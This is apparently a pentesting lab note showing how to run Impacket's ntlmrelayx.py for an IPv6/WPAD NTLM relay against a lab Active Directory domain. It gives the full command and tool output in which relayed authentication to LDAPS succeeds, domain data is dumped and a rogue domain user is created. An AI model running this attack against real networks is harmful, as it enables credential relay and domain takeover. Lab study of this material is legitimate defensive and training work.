NTLMRELAYX.PY (2)

ntlmrelayx.py **performs NTLM Relay Attacks, creating an SMB and HTTP server and relaying credentials to various different protocols** (SMB, HTTP, LDAP, etc.).

-6: ipv6

-t: target

-wh: wpad

-l: loot (same as output folder)

```
└─$ ntlmrelayx.py -6 -t ldaps://10.0.2.16 -wh fakewpad.marvel.local -l lootme
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation
```

```
[*] Servers started, waiting for connections
[*] Setting up HTTP Server
[*] HTTPD: Received connection from ::ffff:10.0.2.12, attacking target ldaps://10.0.2.1
[*] HTTPD: Client requested path: /wpad.dat
[*] HTTPD: Serving PAC file to client ::ffff:10.0.2.12
[*] HTTPD: Received connection from ::ffff:10.0.2.12, attacking target ldaps://10.0.2.16
[*] HTTPD: Client requested path: http://ipv6.msftconnecttest.com/connecttest.txt
[*] HTTPD: Received connection from ::ffff:10.0.2.12, attacking target ldaps://10.0.2.16
[*] HTTPD: Client requested path: http://www.msftconnecttest.com/connecttest.txt
[*] HTTPD: Received connection from ::ffff:10.0.2.12, attacking target ldaps://10.0.2.16
[*] HTTPD: Client requested path: http://www.msftconnecttest.com/connecttest.txt
[*] H  TPD: Received connection from ::ffff:10.0.2.12, attacking target ldaps://10.0.2.16
[*] HTTPD: Client requested path: http://ipv6.msftconnecttest.com/connecttest.txt
[*] HTTPD: Client requested path: http://ipv6.msftconnecttest.com/connecttest.txt
[*] HTTPD: Client requested path: http://www.msftconnecttest.com/connecttest.txt
[*] Authenticating against ldaps://10.0.2.16 as MARVEL\THEPUNISHER$ SUCCEED
[*] Authenticating against ldaps://10.0.2.16 as MARVEL\THEPUNISHER$ SUCCEED
[*] Enumerating relayed user's privileges. This may take a while on large domains
[*] Enumerating relayed user's privileges. This may take a while on large domains
[*] Dumping domain info for first time
[*] Domain info dumped into lootdir!
```

When the administrator logs in on the machine that we got from the ntlmrelayx (the punisher as in the picture), the attack will create a user for us and we own that domain.

```
  Sid:{
    Revision: {1}
    SubAuthorityCount: {5}

    IdentifierAuthority:{
      Value: {'\x00\x00\x00\x00\x00\x05'}
    }
    SubLen: {20}
    SubAuthority: {'\x15\x00\x00\x00Kq\xd8\xca,\xc1e\x1b\xb7\x8e\xfab\x07\x02\x00\x00'}
  }
}
TypeName: {'ACCESS_ALLOWED_ACE'}
[*] Adding new user with username: NmaMOQBRsl and password: oC/k(~s0>;>Mg>D result: OK
[*] Querying domain security descriptor
[*] HTTPD: Client requested path: http://tile-service.weather.microsoft.com/en-us/livetile/preinstall?region=us&appid=c98e
a5b0842dbb9405bbf071e1da76512d21fe36&form=threshold

ACE
AceType: {0}
AceFlags: {18}
AceSize: {36}
AceLen: {32}

Ace:{

  Mask:{
    Mask: {983551}
  }

  Sid:{
    Revision: {1}
    SubAuthorityCount: {5}
```